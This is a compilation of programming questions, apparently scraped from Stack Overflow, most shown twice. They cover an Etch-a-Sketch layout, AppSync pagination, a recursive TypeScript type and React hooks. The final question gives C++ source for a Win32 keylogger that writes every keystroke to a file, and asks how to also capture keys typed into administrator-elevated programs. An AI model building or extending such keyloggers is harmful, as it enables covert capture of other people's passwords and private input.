        document.querySelector(".mode-not-coloring").textContent = "Not Coloring";
        document.querySelector(".mode-coloring").textContent = ""
    }
  }
});

//Function:Random Color for Coloring mode
let colorText = document.querySelector(".mode-coloring");

function getRandomColor(){
    let letters = '0123456789ABCDEF';
    let colour = '#';
    for (let i=0; i <6; i++) {
        colour += letters[Math.floor(Math.random()*16)];
    }
    return colour;
}

function flashRandomColor(){
    colorText.style.color = getRandomColor();
}

setInterval(flashRandomColor,700);

/* Main Board */
.board{
    display:grid;
    width: 65vh;
    height: 65vh;
    border: 1px rgba(0, 0, 0, 0.404) solid;
    margin-top: 1vh;
    margin-right: 6vh;
    box-sizing: content-box;

}

.div-squares{
    border: 1px rgba(0, 0, 0, 0.041) solid;
    background-color: rgba(255, 255, 255, 1);
}

.div-squares:hover{
    background-color: #1381ad !important;
}

/* Header */
.title{
    display: flex;
    background-color: #31748f;
    justify-content: center;
    align-items: center;
    padding: 25px;
}

h1{
    color: #f25602;
    font-family: "Alfa Slab One";
    font-size: 50px;
    font-weight: 400;
}

body{
    display: flex;
    flex-direction: column;
    background-color: #f3cfbc;
    min-height: 100vh;
}

.content{
    padding: 40px 100px;
    display: flex;
    justify-content: center;
    gap: 200px;
}

.coloring-text{
    display: flex;
    flex-direction: row;
}
/* New Grid Button */
#new-grid{
    display: block;
    background-color: #f25602;
}

#new-grid:hover {
    box-shadow: 0 6px 6px rgba(0, 0, 0, 0.199);
    background-color: #500d04;
    color: white;
    border: 1px solid #c6c6c6;
    text-decoration: none;
    transition: all .3s ease;
    color: #d9f3ed;
}

#new-grid:active {
    border: 1px solid #300a0a;
    transition: all 0s ease;
    background-color: #7bcfb3;
    color: white;
    box-shadow: 0 6px 6px rgba(0, 0, 0, 0.199);
}

#new-size{
    width: 16vw;
    margin-bottom: 10px;
}

.left-content{
    display: flex;
    flex-direction: column;
    justify-content: space-around;
}

.mode, .mode-coloring, .mode-not-coloring{
    font-family: "Iceland";
    font-size: 40px;
}

button{
    background-color: #3ba1c9;
    color: rgb(0, 0, 0);
    font-family: "Iceland";
    border-radius: 24px;
    border: 1px solid white;
    font-size: 20px;
    width: 18vw;
    height: 3vh;
}

button:hover {
    box-shadow: 0 6px 6px rgba(0, 0, 0, 0.199);
    background-color: #042b50;
    border: 1px solid #c6c6c6;
    text-decoration: none;
    transition: all .3s ease;
    color: #d9f3ed;
}

button:active {
    border: 1px solid #300a0a;
    transition: all 0s ease;
    background-color: #7bcfb3;
    color: white;
    box-shadow: 0 6px 6px rgba(0, 0, 0, 0.199);
}

.buttons{
    display: flex;
    flex-direction: column;
    gap: 15px;
}

#clear-button{
    margin-top: 50px;
    background-color: white;
}

#clear-button:hover{
    box-shadow: 0 6px 6px rgba(0, 0, 0, 0.199);
    background-color: #042b50;
    border: 1px solid #c6c6c6;
    text-decoration: none;
    transition: all .3s ease;
    color: #d9f3ed;
}

#clear-button:active{
    border: 1px solid #300a0a;
    transition: all 0s ease;
    background-color: #7bcfb3;
    color: black;
    box-shadow: 0 6px 6px rgba(0, 0, 0, 0.199);
}

.range-bar{
    display: flex;
    flex-direction: row;
    justify-content: center;
    align-items: center;
    gap: 5px;
}

.range-bar-button{
    display: flex;
    flex-direction: column;
    /* align-items: center; */
}

#size-label{
    font-family: "Iceland";
    margin-bottom: 10px;
}

/* Footer */
footer{
    bottom: 0;
    display: flex;
    background: #1381ad;
    color: #f85903;
    font-family: "Iceland";
    font-size: 20px;
    justify-content: center;
    align-items: center;
    gap: 10px;
    margin-top: auto;
    padding: 20px;
}

.git-pic{
    transition: transform 0.3s ease-in-out;
    height: 17px;
    width: 17px;
}

.git-pic:hover{
    transform: rotate(360deg) scale(1.2);
}

<!DOCTYPE html>

    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="reset.css">
    <link rel="stylesheet" href="mystyle.css">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Alfa Slab One">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Iceland">
    <title>Etc-A-Sketch</title>

Etc-A-Sketch

Mode:

Coloring

                  <button onclick="changeColor('black')">Black</button>
                  <button onclick="changeColor('white')">Erasor</button>
                  <button onclick="changeColor('grey')">Gray</button>
                  <button onclick="changeColor('random')">Random</button>
                  <button id="clear-button" onclick="resetBoard()">Clear</button>

                  <input id="new-size" type="range" min="2" max="100" value="16"/>

                  <button id="new-grid">New grid size</button>

            Copyright ©

            georgan1987

When i run the snippet the result is also messed up in the small window.

Could please someone share with me some advices?

I searched for similar questions and probably me not using Media Query is the issue, but we haven't learned it yet in the curriculum. I checked that it's a bit further in the curriculum.

Any advice on how i could fix this without Media Query (for now), would be very helpful!

Thanks a lot in advance!


问:
AWS AppSync merging, sorting and pagination of data from multiple REST calls
I'm trying to set a GraphQL endpoint using AWS AppSync that consumes from 2 HTTP data sources, merges the responses, orders them by date and implements pagination.
So far I've accomplished to make both requests and merge them using union

Schema

```<code>type Event1 {
    id: ID!
    name: String
    type: String
    order_date: String
}

type Event2 {
    id: ID!
    name: String
    type: String
    order_date: String
}

union Events = Event1 | Event2

listEvents(): [Events!]

</code>```

Resolver 1

```<code>export function request(ctx) {
    return {
        "method": "GET",
        "resourcePath": "/event1",
        "params": {
            "headers": {
                "Content-Type" : "application/json"
            },
        }
    }
}
export function response(ctx) {
    if (ctx.result.statusCode !== 200) {
        return util.appendError(ctx.result.body, `${ctx.result.statusCode}`);
    }
    var responseBody = JSON.parse(ctx.result.body);
    /*for (var i in responseBody) {
        responseBody[i].__typename = "Event1";
    }*/
    return responseBody;
}
</code>```

Resolver 2

```<code>export function request(ctx) {
    return {
        "method": "GET",
        "resourcePath": "/event2",
        "params": {
            "headers": {
                "Content-Type" : "application/json"
            },
        }
    }
}

export function response(ctx) {
    if (ctx.result.statusCode !== 200) {
        return util.appendError(ctx.result.body, `${ctx.result.statusCode}`);
    }
    var responseBody = JSON.parse(ctx.result.body);
    /*for (var i in responseBody) {
        responseBody[i].__typename = "Event2";
    }*/
    return [...ctx.prev.result, ...responseBody];
}
</code>```

I made each service return the __typename so AppSync knows which type is in the union, but now I've looking for ways to sort by "order_date" and then get the first page, but I don't know if I'm thinking it correctly or this not the purpose GraphQL was intended to fulfill.

Any guide will be very much appreciated.

Body:
I'm trying to set a GraphQL endpoint using AWS AppSync that consumes from 2 HTTP data sources, merges the responses, orders them by date and implements pagination.
So far I've accomplished to make both requests and merge them using union

Schema

type Event1 {
    id: ID!
    name: String
    type: String
    order_date: String
}

type Event2 {
    id: ID!
    name: String
    type: String
    order_date: String
}

union Events = Event1 | Event2

listEvents(): [Events!]

Resolver 1

export function request(ctx) {
    return {
        "method": "GET",
        "resourcePath": "/event1",
        "params": {
            "headers": {
                "Content-Type" : "application/json"
            },
        }
    }
}
export function response(ctx) {
    if (ctx.result.statusCode !== 200) {
        return util.appendError(ctx.result.body, `${ctx.result.statusCode}`);
    }
    var responseBody = JSON.parse(ctx.result.body);
    /*for (var i in responseBody) {
        responseBody[i].__typename = "Event1";
    }*/
    return responseBody;
}

Resolver 2

export function request(ctx) {
    return {
        "method": "GET",
        "resourcePath": "/event2",
        "params": {
            "headers": {
                "Content-Type" : "application/json"
            },
        }
    }
}

export function response(ctx) {
    if (ctx.result.statusCode !== 200) {
        return util.appendError(ctx.result.body, `${ctx.result.statusCode}`);
    }
    var responseBody = JSON.parse(ctx.result.body);
    /*for (var i in responseBody) {
        responseBody[i].__typename = "Event2";
    }*/
    return [...ctx.prev.result, ...responseBody];
}

I made each service return the __typename so AppSync knows which type is in the union, but now I've looking for ways to sort by "order_date" and then get the first page, but I don't know if I'm thinking it correctly or this not the purpose GraphQL was intended to fulfill.

Any guide will be very much appreciated.


问:
Can i create a type that includes itself recursively?
Given the following data:

const tree = {
    _size: 0,
    a: {
        _size: 0,
        b: {
            _size: 0,
        }
    },
    c: {
        _size: 0
    }
}
```
<p>Is there a way to make it so that TypeScript understands that every key that is <strong>not</strong> <code>_size</code> is of type <code>Dir</code> ?</p>
<p>I would like to create a type that includes itself recursively. So far, I've got the following:</p>
<pre class="lang-js prettyprint-override"><code>type Dir = {
    _size: number,
    [key: string]: /* Dir? */
}
</code>```

Where I would like to comment out the "Dir" in order for it to recursively include itself. However, this is giving me the following error:

```<code>Property '_size' of type 'number' is not assignable to 'string' index type 'string'
</code>```

Body:
Given the following data:

const tree = {
    _size: 0,
    a: {
        _size: 0,
        b: {
            _size: 0,
        }
    },
    c: {
        _size: 0
    }
}

Is there a way to make it so that TypeScript understands that every key that is not _size is of type Dir ?

I would like to create a type that includes itself recursively. So far, I've got the following:

type Dir = {
    _size: number,
    [key: string]: /* Dir? */
}

Where I would like to comment out the "Dir" in order for it to recursively include itself. However, this is giving me the following error:

Property '_size' of type 'number' is not assignable to 'string' index type 'string'


问:
How dose the useEffect and useState hook works?
Hi I am learning React Hooks I know useEffect when used without any dependency array should run after every render but what about render itself does it happen every time a state changes because I am trying following code where I am rending a static h1 to the DOM and in my useEffect I am using a fetch to call a json file on the success of the fetch I am setting a state loaded to true from false I have written this example for the learning purpose only I was expecting that this should have caused a infinite loop because useEffect without dependency array should run after every render and I am calling set state which according to me should force the render to happen but It only run the useEffect twice but

when I am using the other example where I am using useState create a name state and in the useeffect without dependency arry I am changing the name state with Math.random it is behaving as expected causing infinite loop what I understand is useState does not cause render state to happen untill the value of the state changed as in the first example the state value only changed once from false to true and in name example it is random so changes every time
Just need a to know is my understanding correct and also if you can share where I can learn these Kind of stuff as I did not find this on the react doc.

example 1 with fetch
`

```<code>const App = () => {
    // const [name, setName] = useState('sumit');
    const [loaded, setLoaded] =useState(false);
    useEffect(() => {
        console.log('sumit');
        fetch('./option.json').then((res) => {
            console.log(res);
           return res.json();
        }).then((res) => {
            console.log(res);
            setLoaded(true);
        })
        // setName(Math.random());
    })
    return (
            <h1>sumit</h1>
    );
}

</code>```

example 2 with name

```<code>const App = () => {
    const [name, setName] = useState('sumit');
    // const [loaded, setLoaded] =useState(false);
    useEffect(() => {
        console.log('sumit');
       /*  fetch('./option.json').then((res) => {
            console.log(res);
           return res.json();
        }).then((res) => {
            console.log(res);
            setLoaded(true);
        }) */
        // setcount(count+1);
        setName(Math.random());
    })
    return (
            <h1>sumit</h1>
    );
}
</code>```

`

Body:
Hi I am learning React Hooks I know useEffect when used without any dependency array should run after every render but what about render itself does it happen every time a state changes because I am trying following code where I am rending a static h1 to the DOM and in my useEffect I am using a fetch to call a json file on the success of the fetch I am setting a state loaded to true from false I have written this example for the learning purpose only I was expecting that this should have caused a infinite loop because useEffect without dependency array should run after every render and I am calling set state which according to me should force the render to happen but It only run the useEffect twice but

when I am using the other example where I am using useState create a name state and in the useeffect without dependency arry I am changing the name state with Math.random it is behaving as expected causing infinite loop what I understand is useState does not cause render state to happen untill the value of the state changed as in the first example the state value only changed once from false to true and in name example it is random so changes every time
Just need a to know is my understanding correct and also if you can share where I can learn these Kind of stuff as I did not find this on the react doc.

example 1 with fetch
`

const App = () => {
    // const [name, setName] = useState('sumit');
    const [loaded, setLoaded] =useState(false);
    useEffect(() => {
        console.log('sumit');
        fetch('./option.json').then((res) => {
            console.log(res);
           return res.json();
        }).then((res) => {
            console.log(res);
            setLoaded(true);
        })
        // setName(Math.random());
    })
    return (

sumit

    );
}

example 2 with name

const App = () => {
    const [name, setName] = useState('sumit');
    // const [loaded, setLoaded] =useState(false);
    useEffect(() => {
        console.log('sumit');
       /*  fetch('./option.json').then((res) => {
            console.log(res);
           return res.json();
        }).then((res) => {
            console.log(res);
            setLoaded(true);
        }) */
        // setcount(count+1);
        setName(Math.random());
    })
    return (

sumit

    );
}

`


问:
GetAsyncKeyState not working when typing on "Run as Administrator" application
I write a simple Win32 Keylogger application by C++ in Windows. like this text

I use GetAsyncKeyState to check key state and log that key to a file

```<code>char KEY = 'x';

while (true) {
    Sleep(10);
    for (int KEY = 8; KEY <= 190; KEY++)
    {
        if (GetAsyncKeyState(KEY) == -32767) {
            if (SpecialKeys(KEY) == false) {

                fstream LogFile;
                LogFile.open("dat.txt", fstream::app);
                if (LogFile.is_open()) {
                    LogFile << char(KEY);
                    LogFile.close();
                }

            }
        }
    }
}
</code>```

I run my program with my user account. When I open notepad and start typing, It logs every key which I typed. But if I open notepad with "Run as Administrator" option, then nothing get logged.

How can I fix this?

Body:
I write a simple Win32 Keylogger application by C++ in Windows. like this text

I use GetAsyncKeyState to check key state and log that key to a file

char KEY = 'x';

while (true) {
    Sleep(10);
    for (int KEY = 8; KEY <= 190; KEY++)
    {
        if (GetAsyncKeyState(KEY) == -32767) {
            if (SpecialKeys(KEY) == false) {

                fstream LogFile;
                LogFile.open("dat.txt", fstream::app);
                if (LogFile.is_open()) {
                    LogFile << char(KEY);
                    LogFile.close();
                }

            }
        }
    }
}

I run my program with my user account. When I open notepad and start typing, It logs every key which I typed. But if I open notepad with "Run as Administrator" option, then nothing get logged.

How can I fix this?